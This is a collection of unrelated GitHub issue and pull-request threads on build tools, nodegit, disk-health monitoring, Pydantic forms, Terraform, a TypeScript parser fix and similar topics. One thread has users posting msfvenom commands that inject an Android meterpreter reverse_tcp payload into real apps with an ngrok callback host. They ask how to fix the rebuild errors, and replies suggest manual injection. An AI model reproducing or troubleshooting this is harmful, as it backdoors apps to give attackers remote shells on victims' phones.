Suggestions to solve lazy-cache with webpack

Would you be able to review the following issue and let us know what the solution space is? https://github.com/jonschlinkert/lazy-cache/issues/3

Webpack has its own code-splitting methodology, which I think might work better for you: https://webpack.github.io/docs/code-splitting.html

@mgreer thank you! Currently, I am aliasing the offending modules to browser-friendly replacements, but that may not always be acceptable (it involves maintaining different implementations) and unfortunately, doesn't really address the underlying issue.
The question is more on @jonschlinkert's side who is hoping that there is a compile-time or loader-based work around so that people can use lazy-cache with webpack.

hoping that there is a compile-time or loader-based work around so that people can use lazy-cache with webpack.

that would be great. although after doing more research, ideally it would be great to fix the problem directly in webpack, since the issue is technically caused by a webpack implementation choice - meaning how webpack renames the require function, otherwise it shouldn't be a problem (as with browserify).

@jonschlinkert to manage your expectations a little bit here...
webpack and browserify are very different architectures and webpack's key architectural decision is to do static analysis which creates benefits / opportunities and tradeoffs that are quite different from browserify...their goal is not for feature parity nor compatibility with each other, but to innovate around what could be a better browser development experience.
It looks me some time to get comfortable with their design decisions, but I really love it now for web applications. Unfortunately, I've had to do things in different ways that I would in other environments and it means I need to avoid doing certain things in node to maintain compatibility (specifically around dynamic string-based module loading). At the same time, there are things that I can do amazingly easily in webpack so the tradeoff is worth it for me and my front end teams.
For that matter..brunch, duo, component, require.js / AMD, ES6, and all the new kids on the block, approach modules and pipelines a little differently with their own take on what might be best for the browser environments and / or workflow (eg. different goals = different solutions).
I'm not sure what will be possible to resolve this, but I'm hoping someone will come up with something that works!

that's a great summary, thanks! I mentioned earlier that I don't actually use either browserify or webpack, since that's not the kind of development I do usually, but i will be soon so this helps.
I'm willing to roll up my sleeves to find a solution to this, so even if we can get more information on where to start, that would be helpful.

I've removed lazy-cache from micromatch and underlying libs. @doowb made a loader that fixes the problem, but it seems impossible to let everyone know this in advance. I guess this should be closed

@kmalakoff I published unlazy loader. I tested it on one project that I know has lazy-cache in the dependencies and it works. It follows the pattern that we use to allow browserify to work, so if there are still issues in a dependency that isn't setup with that pattern, an issue should be open on that repo.
As @jonschlinkert mentioned, the hard part (or brittle part) is notifying people they need to use this with webpack.

@jonschlinkert I've installed the updated version of micromatch and it works without a hitch in webpack.
@doowb with a non-lazy version of micromatch, I'm good. Thank you for publishing the module (my comment about the alias solution I not needed I suppose).
Closing...

:+1: great to know, thanks for sorting it out with us!


Error message on libstdc missing.

nodegit is usually used as library for other projects. Nodegit is also, unfortunately, depends on a version of libstdc++ that is not installed on many linux systems. Any person that uses nodegit as a library would need to explain this problem in their issues. In order to reduce the work of libraries/tools that depend on nodegit this PR adds an error message on postinstall if the dependency is missing and adds steps on how to mitigate that issue.
Note: This has been a follow-up on #969.

Love it. Means I'll have less repetitive issues to close, and indirect users will have a better idea on how to solve any issues with installing.

Testing on windows right now :)

Does windows not run the post-install script?

Ahh I didn't see the second commit I'll confirm locally then gtg IMO.

Confirmed that it works locally. I did make 2 minor comments though.

@johnhaley81 Pushed the adjustments

Thanks @martinheidegger!

This is breaking builds in Windows, you can't invoke Bash scripts in npm packages. Can you rewrite this as a JS file? Should be super easy and you can bail out if process.platform !== 'linux'


Error: Unable to rebuild apk with apktool

I am using apktool v 2.3.1. on Kali Linux.
I get this error. Yesterday I have tried and it worked, today I get this error with any APK, tried at least 10.
"
Using APK template: Whatsappo.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.whatsapp.zumvr
[] Loading /tmp/d20180110-6408-1ej4cd4/original/smali/com/whatsapp/AppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding Whatsappo.apk with meterpreter injection as /tmp/d20180110-6408-1ej4cd4/output.apk
Error: Unable to rebuild apk with apktool
"

how to fix this error
msfvenom -x /root/Desktop/Musixmatch.apk -p android/meterpreter/reverse_tcp LHOST=<IP_ADDRESS> LPORT=6060 -o /root/Desktop/Musixmatchreload.apk
Using APK template: /root/Desktop/Musixmatch.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.musixmatch.android.lyrify.pnriw
[] Loading /tmp/d20180528-4429-p0wqf6/original/smali/o/abm.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding /root/Desktop/Musixmatch.apk with meterpreter injection as /tmp/d20180528-4429-p0wqf6/output.apk
Error: Unable to rebuild apk with apktool

really . is there no solution

Error: Unable to rebuild apk with apktool

any one have a solution?

here you can solve the problem as i answered this question on stackoverflow:
Link To The Answer On Stack Over Flow

Error: Unable to rebuild apk with apktool my apktool is already updated

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11568 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.ideacellular.myidea.qwpse
[] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4

i have updated the answer on StackOverflow Follow The mentioned link again.

i have updated the answer on StackOverflow Follow The mentioned link again.

already tried but not working

i have updated the answer on StackOverflow Follow The mentioned link again.

already tried but not working

what didn't work ? did u injected manually and rebuilt your apk using "android studio" ?

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore.. [] Decompiling original APK..
[] Decompiling payload APK.. [] Locating hook point..
[] Adding payload as package com.ideacellular.myidea.qwpse [] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions.. [] Adding
[] Adding [] Adding
[] Adding [] Adding
[] Adding [] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4

i have updated my apktool by following ur steps
and installed zipalign
and tried my process as above
still getting the same error

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore.. [] Decompiling original APK..
[] Decompiling payload APK.. [] Locating hook point..
[] Adding payload as package com.ideacellular.myidea.qwpse [] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions.. [] Adding
[] Adding [] Adding
[] Adding [] Adding
[] Adding [] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4

i have updated my apktool by following ur steps #1707 (comment)
and installed zipalign
and tried my process as above
still getting the same error

as i said in "In The End" Part , if you still having the rebuilding problem , it's because of apktool that cannot rebuild large apk files , use another tool for rebuilding your apk file and inject your files manually also.

another tools???

I too have the same error
root@kali:~/Downloads# msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=11560 -o /root/Desktop/myideafreerecharge.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore.. [] Decompiling original APK..
[] Decompiling payload APK.. [] Locating hook point..
[] Adding payload as package com.ideacellular.myidea.qwpse [] Loading /tmp/d20181112-9095-1hglxlh/original/smali/com/ideacellular/myidea/MyIdeaApplication.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions.. [] Adding
[] Adding [] Adding
[] Adding [] Adding
[] Adding [] Adding
[*] Rebuilding myidea.apk with meterpreter injection as /tmp/d20181112-9095-1hglxlh/output.apk
Error: Unable to rebuild apk with apktool
my apktool is updated to latest version 2.3.4

i have updated my apktool by following ur steps #1707 (comment)
and installed zipalign
and tried my process as above
still getting the same error

as i said in "In The End" Part , if you still having the rebuilding problem , it's because of apktool that cannot rebuild large apk files, use lower size apk file (<5MB) or use another tool for rebuilding your apk file and inject your Codes or files manually also.

same problem when using 1.3 mb file


Merge "kern-version" to "main"

This PR merges "kern-version" branch of felix-pb, which allows for easier offset adding and usage.
Adds "fun" files to Xcode so they get compiled as well.
Adds two new device/version combos for demonstration purposes inside dynamic_info.h.

This line is the only one I have in question. https://github.com/wh1te4ever/kfd/pull/1/files#diff-68dfda1500ec4289d9993d7ec336cbb75c967ec3105336e6cda34fd1818c83b5L212
It is 10000 in the old version, but 0 in the new one. I wont pretend like I'm experienced in pages and kernel memory, so please confirm that this is correct. Thanks

lgtm, i did this manually on my fork and no problems

Can we hope for semi-untethered jailbreak on iOS 15.x and up on A11 and lower (without arm64e like Fugu15 exploit said)


New Feature - Disk Health Monitoring!

Seeing how Machinaris supports farming multiple "hard drive based" cryptos...  Seems like adding a tool that would compliment Machinaris nicely would be a Disk Health monitoring tool.
With 18 plot storage disks + 1 boot disk I've got a relatively small number of drives... Even with 19 drives identifying issues early, hopefully before SMART flags a disk a failing, is not easy.
For Example - I bought 5 x 4TB $50 specials off eBAY last DEC.  They came with a 1 year warranty.  One of the disks started throwing errors back in FEB.  Another disk has some not so great statistics. SMART says these disks are healthy, while GSMARTCONTROL highlights some of the detailed output in RED.  Last I checked RED is bad!  The EBay Seller approved my RMA request based on the SMARTCTL output and will be sending me 2 new white label drives.  I'll attach some screen shots from these drives before I pull them out.
Almost wanna say this is a requirement...  The solution used here should have the ability to store and display historical data related to the drives it is monitoring.  What data needs to be stored?  How should it be displayed?  I can provide several examples of output from SMARTCTL that I saved for the same device at different points this year.  Identifying things that have changed VS things that are not good but not getting worse - is a very manual task.  Shouldn't be hard to come up with something that is an improvement over manually analyzing multiple docs for each drive!
This drive failed in the first month - I've just been lazy.  I'm not sure if the stats or the Errors have changed since they first caught my attention.  Issues observed included plots that failed to move from this drive to another along with occasional challenge responses over 60 seconds.

This drive never had any performance issues that I remember.  But, if RED is BAD and GSMARTCONTROL highlights these statistics as RED... I didn't want to ignore!

Full Disclosure - This is not something I thought of on my own... Jonmichael Hands (Chia's VP Storage Business Dev) uploaded a video to YouTube on Nov 18th, "Chia farming - How Hard Drives fail!", linked below.  In that video he discussed hard drive failures, using the SMARTCTL util, interpreting the SMARTCTL output along with DEMO'ing a tool he had found on GitHub called SCRUTINY.
https://www.youtube.com/watch?v=SN6REW1VuPc

I've been on the shit end of the stick when "the good idea fairy waved her wand" in the past... unclear requirements are almost as bad as impossible requirements!
GOOD - FAST - CHEAP.  You can pick 2 and only 2.  Pick your poison!
You may have guessed this - but I'm not someone you would accuse of being an active developer on GitHub, or anywhere else.  BUT I wasn't kidding when I said that I am willing to help with my disk monitoring enhancement request!
So - what can I do to help get the ball rolling in relation to my "good idea"?

https://github.com/guydavis/machinaris/issues/291

try this:
`version: "2.1"
services:
scrutiny:
image: analogj/scrutiny
container_name: scrutiny
cap_add:
- SYS_RAWIO
- SYS_ADMIN #optional
environment:
- PUID=1000
- PGID=1000
- TZ=America/Toronto
- SCRUTINY_API_ENDPOINT=http://YOUR-DOCKER-IP:8080
- SCRUTINY_WEB=true
- SCRUTINY_COLLECTOR=true
volumes:
- /root/.scrutiny:/config
- /run/udev:/run/udev:ro
ports:
- 8080:8080
devices:
- /dev/sda:/dev/sda
- /dev/sdb:/dev/sdb
- /dev/sdc:/dev/sdc
- /dev/sdd:/dev/sdd
- /dev/sde:/dev/sde
- /dev/sdf:/dev/sdf
- /dev/sdg:/dev/sdg
- /dev/sdh:/dev/sdh
- /dev/sdi:/dev/sdi
- /dev/sdj:/dev/sdj
- /dev/sdk:/dev/sdk
- /dev/sdl:/dev/sdl
- /dev/sdm:/dev/sdm
- /dev/sdn:/dev/sdn
- /dev/sdo:/dev/sdo
- /dev/sdp:/dev/sdp
- /dev/sdq:/dev/sdq
- /dev/sdr:/dev/sdr
- /dev/sds:/dev/sds
- /dev/sdt:/dev/sdt
- /dev/sdu:/dev/sdu
- /dev/sdv:/dev/sdv
- /dev/sdw:/dev/sdw
- /dev/sdx:/dev/sdx
- /dev/sdy:/dev/sdy
- /dev/sdz:/dev/sdz
  - /dev/sdaa:/dev/sdaa
  - /dev/sdab:/dev/sdab
  - /dev/sdac:/dev/sdac
  - /dev/sdad:/dev/sdad
  - /dev/sdae:/dev/sdae
  - /dev/sdaf:/dev/sdaf
  - /dev/sdag:/dev/sdag
  - /dev/sdah:/dev/sdah
  - /dev/sdai:/dev/sdai
  - /dev/sdaj:/dev/sdaj
  - /dev/sdak:/dev/sdak
  - /dev/sdal:/dev/sdal
  - /dev/sdam:/dev/sdam
  - /dev/sdan:/dev/sdan
  - /dev/sdao:/dev/sdao
  - /dev/sdap:/dev/sdap
  - /dev/sdaq:/dev/sdaq
  - /dev/sdar:/dev/sdar
  - /dev/sdas:/dev/sdas
  - /dev/sdat:/dev/sdat
  - /dev/sdau:/dev/sdau
  - /dev/sdav:/dev/sdav
  - /dev/sdaw:/dev/sdaw
  - /dev/sdax:/dev/sdax
  - /dev/sday:/dev/sday
  - /dev/sdaz:/dev/sdaz

  - /dev/sdba:/dev/sdba
  - /dev/sdbb:/dev/sdbb
  - /dev/sdbc:/dev/sdbc
  - /dev/sdbd:/dev/sdbd
  - /dev/sdbe:/dev/sdbe
  - /dev/sdbf:/dev/sdbf
  - /dev/sdbg:/dev/sdbg
  - /dev/sdbh:/dev/sdbh
  - /dev/sdbi:/dev/sdbi
  - /dev/sdbj:/dev/sdbj
  - /dev/sdbk:/dev/sdbk
  - /dev/sdbl:/dev/sdbl
  - /dev/sdbm:/dev/sdbm
  - /dev/sdbn:/dev/sdbn
  - /dev/sdbo:/dev/sdbo
  - /dev/sdbp:/dev/sdbp
  - /dev/sdbq:/dev/sdbq
  - /dev/sdbr:/dev/sdbr

- /dev/sdbs:/dev/sdbs
- /dev/sdbt:/dev/sdbt
- /dev/sdbu:/dev/sdbu
- /dev/sdbv:/dev/sdbv
- /dev/sdbw:/dev/sdbw
- /dev/sdbx:/dev/sdbx
- /dev/sdby:/dev/sdby
- /dev/sdbz:/dev/sdbz
restart: unless-stopped`

Yesterday I pulled 2 drives out of my system, so I could ship them back to be replaced under a rock solid "EBay Warranty".  After they were pulled, 2 things happened annoyed me.

The Scrutiny container did not launch when I booted the system up.  docker start scrutiny threw an error that explained why it didn't launch when the system booted.

Cannot start service scrutiny: error gathering device information while adding custom device "/dev/sds": no such file or directory
This was easy enough to resolve, just had to remove that disk from the docker-compose.yaml... Unfortunately that error rules out the option of using a config like the one suggested by augustynr

After adjusting the YAML to reflect the 2 disks that were removed, the container launched successfully - but the last week's worth of historical temperature data was missing.  I was hoping the data was still available, just wasn't being displayed in the web GUI yet.  Maybe it needed some time to process hysterical data and would show up sooner or later.  24 hours later, and that data is still not being displayed - probably not coming back automagically at this point.

I was looking around to see what options exist out there today - I didn't copy off the smart kid's test when I was in school.  Now that I'm an adult, copying someone else's homework is not only allowed, it's encouraged!
Scrutiny
The guy who has been working on Scrutiny says this in his GitHub BIO :

I'm currrently working on a project called Scrutiny. Scrutiny is a Hard Drive health dashboard & monitoring solution, merging manufacturer provided S.M.A.R.T metrics with real-world failure rates. Here's a screenshot:
My current goal is to reach 25 Github Sponsors, at which point I plan on open sourcing Scrutiny. So if you'd like early-access to kick the tires (& support open source developers like myself) please consider sponsoring me.

hdck

Check your HDD and SSD by scanning it for hidden or latent bad sectors, diagnose problems with HDDs.

I haven't done much more than find it at this point.  First look, I think it does it's thing, produces output... then goes away till next time.  Doesn't appear to store hysterical data, and presents it's output as CLI output not a webGUI.
HardDiskValidator

https://github.com/TalAloni/HardDiskValidator

This tool looks like it was designed to be run "offline", using a bootable ISO or similar.  I don't know if it could be adapted to work online, inside a container...
In addition to existing tools that I found on GITHUB, I also found a few Grafana dashboards.
S.M.A.R.T Dashboard
S.M.A.R.T Dashboard looks promising, while it may not be turn key.

General panel with detailed disk data: model, name, size, firmware, serial, etc
Temperature panel with graphs and gauge bars
Wear panel showing disk lifetime cycles counters

It looks like that dashboard is using a data collection script that I'm assuming runs VIA CRONJOB every XX Hours.   If that script is collecting the required data, storing the data to be displayed w/ Grafana at a later date... It would likely need some tweaks before it would work within a container.
I am going to mess with S.M.A.R.T Dashboard tonight.  After I check a few other things off my todo list.

Thanks everyone for all the details provided above.  I have a start on an implementation of this within the Machinaris development branch.

I love you!

Next version (Machinaris 0.7.2) will now include an alert, sent out via Chiadog to your configured targets) of a SMARTCL status change of a drive from 'PASSED' to any other status, likely indicating a failure.

This fix is now available in the Machinaris v0.7.2 release today. Thanks!


Accessing item parameter from Dash callbacks

Thank you for this amazing tool! I've been trying to integrate it into existing projects and I have a question about accessing the item parameter. Is it possible to retrieve the model class that the form is built upon, similar to how we retrieve the data that the form contains?
if value:
    return ModelForm(
        item=value,
        aio_id="form",
        form_id=id_map.get(value),
    )

@callback(
    Output(ModelForm.ids.errors("MATCH", "MATCH"), "data"),
    Input(ModelForm.ids.main("MATCH", "MATCH"), "data"),
    Input(ModelForm.ids.main("MATCH", "MATCH"), "item"),
    prevent_initial_call=True,
)

I would like to render different forms based on something else that the user chose, hence I need different models and I need to call the model_validate function

Hey @CY-ipercept yes, there is a way. It's not possible to store the class itself but the name of the Model is stored with the form and a util function allows you to retrieve the model class from it:
from dash_pydantic_form.utils import get_model_cls

@callback(
    Output(ModelForm.ids.errors("MATCH", "MATCH"), "data"),
    Input(ModelForm.ids.main("MATCH", "MATCH"), "data"),
    State(ModelForm.ids.model_store("MATCH", "MATCH"), "data"),
    prevent_initial_call=True,
)
def handle_form(form_data: dict, model_name: str):
    model_cls = get_model_cls(model_name)
    model_cls.validate(form_data)
    # ...

Thank you, that helps a lot! Will you also be adding more features? I have a Pydantic class where one or more of the fields have the type of Dict[str, AnotherModel] or Dict[str, int]. I've been custom components to help me handle such cases but it would be really helpful if such functionality can be built into the library as well!

Yes I will keep developing this library more. Interesting use case with the dicts of things, I'll think about what that could look like in terms of UI and let you know here if this progresses 🙂
In the meantime I'll close this issue, feel free to open one for the dict feature request.

Thank you @RenaudLN , that helps a lot! Will you also be adding more features? I have a Pydantic class where one or more of the fields have the type of Dict[str, AnotherModel] or Dict[str, int]. I've been custom components to help me handle such cases but it would be really helpful if such functionality can be built into the library as well!

Hey @CY-ipercept, dicts are now available in 0.2.1, see the doc here: https://pydf-docs.onrender.com/api/dict_field

Thank you for the help! @RenaudLN


Create Jump Search.cpp

I had done the pull request, plz check it.

@Shivam250702 thank you for your contribution, you are doing great, please don't forget to star this repo.


update install in readme to update instead of recreate resources

Currently, if you upgrade the version of flux, or change the sync resources, it will generate a new shasum of the body and change the resource name. This forces the resources to be recreated. This a lot of the time does not work.
Instead, the resources should be called something that does not change when the body does. This PR does this by decoding the yaml and grabbing the namespace, resource kind, and name.
I don't think this is particularly clean though, running yamldecode() on the yaml multiple times is probably doing some nasty reflection inside. I am wondering if I can do this in a local in a cleaner way? 🤔
Secondly, the format of the resource name is a bit nasty, its not very "kubernetes-like". Any recommendations on that would be appreciated.

@willejs thansk for the PR, and I have been seeing the same issues. The first implementation of the example was done early on and I was not sure how the upgrade process would look like. Now that larger changes to the manifests have occurred it becomes obvious that the current solution is less than optimal.
I guess great minds think alike as I just created a PR yesterday with a similar solution, #85. Its not a great solution but its better than what is there today. In that PR is a link to another issue in the kubectl provider which suggests a better long term solution,

@willejs thansk for the PR, and I have been seeing the same issues. The first implementation of the example was done early on and I was not sure how the upgrade process would look like. Now that larger changes to the manifests have occurred it becomes obvious that the current solution is less than optimal.
I guess great minds think alike as I just created a PR yesterday with a similar solution, #85. Its not a great solution but its better than what is there today. In that PR is a link to another issue in the kubectl provider which suggests a better long term solution,

Ah ha! Yes, @phillebaba, yours looks like a much better implementation.

Ah ha! Yes, @phillebaba, yours looks like a much better implementation.


simd.h include of altivec.h defines vector and bool

Original author: Jim Phillips (@jcphill)
Original issue: https://charm.cs.illinois.edu/redmine/issues/889

This generates all kinds of interesting errors on Power.
Getting ready to submit a patch.

Original date: 2015-11-11 16:42:41

~~https://charm.cs.illinois.edu/gerrit/908~~ https://github.com/UIUC-PPL/charm/commit/c660ce3e8337549b7ce83d2f747e3476763a9225
Jim's patch


chore: release main

:robot: I have created a release beep boop
2.7.1
2.7.1 (2023-06-01)
Features

create docker image (5baa816)
docker-image: add docker image tracking (0b7666f)

Bug Fixes

dockerfile: fix dockerfile image generation (ca2b472)
dockerfile: remove space (a950ab4)
dockerfile: remove space (#63) (14c5fa0)
dockerfile: update docker file (9d4ad47)
images: add package.json to update version (cbcb50a)
images: remove unused files (21483a8)
release-please: remove last-release-sha (a950ab4)

Miscellaneous Chores

@set-app/cli: release as 2.7.1 version (d5912e5)
release 2.7.0 (3fb8e72)

This PR was generated with Release Please. See documentation.

:robot: Release is at https://github.com/Frankeo/set-app/releases/tag/v2.7.1 :sunflower:


docs: tweaks for translations

Checklist:

[X] I have read freeCodeCamp's contribution guidelines.
[X] My pull request has a descriptive title (not a vague title like Update index.md)
[X] My pull request targets the master branch of freeCodeCamp.
[X] All the files I changed are in the same world language, for example: only English changes, or only Chinese changes, etc.

Closes #XXXXX

Tweaks some verbiage to facilitate translations
Updates chat URLs to include channels path.

Signed-off-by: nhcarrigan<EMAIL_ADDRESS>/cc @RandellDawson

Yes, we could avoid hiding that particular string, but allowing translations would cause our QA check to throw an error about translating in-line code blocks.

My mistake, I was thinking about triple backtick'd code blocks - we don't hide inline code at all, just QA as you say.
I guess we could write more convoluted QA to detect code blocks we do want translating, but that feels like a mistake.
It also feels like the Glossaries should help i.e. add YOUR_USER_NAME to the glossary so that we can tell translators that it's fine to ignore the QA here, but it doesn't seem to pick it up.

Yes, we could avoid hiding that particular string, but allowing translations would cause our QA check to throw an error about translating in-line code blocks.

My mistake, I was thinking about triple backtick'd code blocks - we don't hide inline code at all, just QA as you say.
I guess we could write more convoluted QA to detect code blocks we do want translating, but that feels like a mistake.
It also feels like the Glossaries should help i.e. add YOUR_USER_NAME to the glossary so that we can tell translators that it's fine to ignore the QA here, but it doesn't seem to pick it up.

We are also running in to an issue with Crowdin not parsing the quadruple-backticks correctly (so the challenge file template is a mess when viewed on Crowdin)

We are also running in to an issue with Crowdin not parsing the quadruple-backticks correctly (so the challenge file template is a mess when viewed on Crowdin)

This could be merged as is - we still need to figure out the quadruple backtick issue, though.

This could be merged as is - we still need to figure out the quadruple backtick issue, though.

@ojeytonwilliams This PR also included fixes for our chat links, so I'm going ahead with marking it ready for review.
We can address the quadruple-backtick issue in a separate PR, perhaps after soliciting a recommendation from Crowdin.

@nhcarrigan Can you resolve the merge conflict?


react to DNX renames

React to aspnet/dnx#2424
/cc @NTaylorMullen

I'm merging aspnet/dnx#2424 shortly and will merge this in to fix the CI when DNX finishes building.

:shipit:

:shipit:


Rails 5 support

I've loosened the rails version requirement as a first step towards supporting 5.x.

Most builds seems to be failing with nokogiri.
Maybe you need to add "sudo apt-get install -y libxml2-dev" to the before_install section of the travis.yml file.


feat: init npm package

My main goal with this repository was:

Learn how to use semantic-version
Learn how to use GitHub Actions as a CI/CD
Gain experience with popular javascript libraries (babel, eslint, prettier, etc) and good practices in general
Learn how to publish to a package to NPM

Because of that instead of starting writing the code (which originated from a module I wrote for an old project), I've decided to write the README first to have a better idea of the scope and the structure/tools I wanted to use. My plan was to start from version 0.0.1 but this is not consider to be a good practice (please read: Can I set the initial release version of my package to 0.0.1?.
This means the initial code does not reflect exactly what is written in the README. Ideally I should update the README on the way but I've decided to keep it like it is and use it as a reference for version 1.x.
So each feature and patch for version 1.x will be to bring the implementation closer to what is described in the documentation.

:tada: This PR is included in version 1.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Fix(51162): TS Server fatal error

Crash was caused due to two reasons:

In the given syntax, {| started the problem where the | throws the parser into an expression context and at every <T> the stack deepens and the parser thinks that it's a massive-nested JSX expression.
Added "invalid character" error and skipped it to resolve this issue.
In <T: null | void> , : caused the parser to enter an expression mode..
Since : means "extends" in TS, added an if condition there and an "invalid character" error and skipped it to resolve this issue.
Fixes https://github.com/microsoft/TypeScript/issues/51162

Is there a way to test this without 45k lines of test/baseline?

Agreed, is there a more minimal repro for this bug?

Trying to think whether there are any conflicts that this introduces with parsing conditional expressions with generic functions. I don't think there are any right now.
let x = Math.random() ? someFunction : <T: string>(x: T) => x;

This should fix #49022 too.

@typescript-bot test this
@typescript-bot test top100
@typescript-bot user test this
@typescript-bot user test tsserver
@typescript-bot test tsserver top100
@typescript-bot run dt
@typescript-bot perf test this

@typescript-bot test this
@typescript-bot test top100
@typescript-bot user test this
@typescript-bot user test tsserver
@typescript-bot test tsserver top100
@typescript-bot run dt
@typescript-bot perf test this

(What's up with the bot?? It didn't reply the first time around)


[Snyk] Upgrade @octokit/core from 5.0.1 to 5.0.2

This PR was automatically created by Snyk using the credentials of a real user.Snyk has created this PR to upgrade @octokit/core from 5.0.1 to 5.0.2.
:information_source: Keep your dependencies up-to-date. This makes it easier to fix existing vulnerabilities and to more quickly identify and fix newly disclosed vulnerabilities when they affect your project.

The recommended version is 1 version ahead of your current version.
The recommended version was released 25 days ago, on 2023-11-22.

Release notes

Package name: @octokit/core

5.0.2 - 2023-11-225.0.2 (2023-11-22)
Bug Fixes

performance enhancements (#637/#638) (9843e38)

5.0.1 - 2023-09-235.0.1 (2023-09-23)
Bug Fixes

deps: update dependency @ octokit/types to v12 (#621) (abe03fe)

    from @octokit/core GitHub release notes

Commit messages

Package name: @octokit/core

9843e38 fix: performance enhancements (#637/#638)
8e5d7c1 chore: improve perf of hot path (#637)
81953c6 chore: replace lolex with sinon fake-timers (#635)
341dfe8 chore(deps): update dependency prettier to v3.1.0 (#633)
1c64ce2 chore(deps): update dependency @ types/node to v20
46febb7 ci(action): update actions/setup-node action to v4 (#631)
3c48ca5 chore(deps-dev): bump @ babel/traverse from 7.22.5 to 7.23.2 (#630)
3d4e5af chore(deps): update dependency undici to v5.26.2 [security]
39a6b14 chore(deps): update dependency undici to v5.25.4 (#626)
a559c47 ci(action): update actions/add-to-project action to v0.5.0 (#625)
f45e4f1 ci(action): Workflows have changed (#624)
035d44a chore(deps): update dependency undici to v5.25.3
24faad1 ci(action): update peter-evans/create-or-update-comment digest to ddff993 (#622)

Compare

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open upgrade PRs.
For more information:
🧐 View latest project report
🛠 Adjust upgrade PR settings
🔕 Ignore this dependency or unsubscribe from future upgrade PRs

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (4482567) 92.34% compared to head (64bc134) 92.34%.

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #40   +/-   ##
=======================================
  Coverage   92.34%   92.34%
=======================================
  Files           6        6
  Lines         418      418
  Branches       11       11
=======================================
  Hits          386      386
  Misses         32       32

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Use transactions to fix socket update errors

As noted in the Sequelize docs, Sequelize uses a transaction internally for operations like findOrCreate, which is precisely the method that the active staff API uses when adding staff members. I believe this fact is causing #92 - there's a race condition where we try to read a tuple before the transaction that creates it has been committed. This PR modifies the code from sequelize-stream to make the options object available to event listeners so that we can use options.transaction as appropriate.
Closes #92 (just over a year after it was reported!)

Yep, good call!
Would also be nice to contribute these changes back to sequelize-stream someday, but I don't think I have the bandwidth to do that now.


agent/nodes.py cannot parse f-string when it's numeric

Describe the bug
When pyupgrade automatically upgrades our formatted string to a f-string, griffe.agents.nodes.py cannot parse the f-string and throws an error
  File "/home/nicolefinnie/venv/myproject/lib/python3.8/site-packages/griffe/agents/nodes.py", line 764, in _get_call_value
    posargs = ", ".join(get_value(arg) for arg in node.args)

To Reproduce
Run mkdocs serve for this code snippet
key = 0.02
a = f"{round(key, 2)}"

Expected behavior
no error should be thrown and _get_call_value() should be able to accept a numeric value.
System (please complete the following information):

griffe version: 0.14.0
Python version: 3.8.5
OS: Ubuntu 20.4 LTS

Suggested fix
casting the value to str in the file agents/nodes.py, line 764, however, I am not sure about the side effect, which has to be validated through the CI/CD pipeline.

def _get_call_value(node: NodeCall) -> str:
    # cast get_value() to string
    posargs = ", ".join(str(get_value(arg)) for arg in node.args)
    kwargs = ", ".join(get_value(kwarg) for kwarg in node.keywords)
    if posargs and kwargs:
        args = f"{posargs}, {kwargs}"
    elif posargs:
        args = posargs
    elif kwargs:
        args = kwargs
    else:
        args = ""
    return f"{get_value(node.func)}({args})"

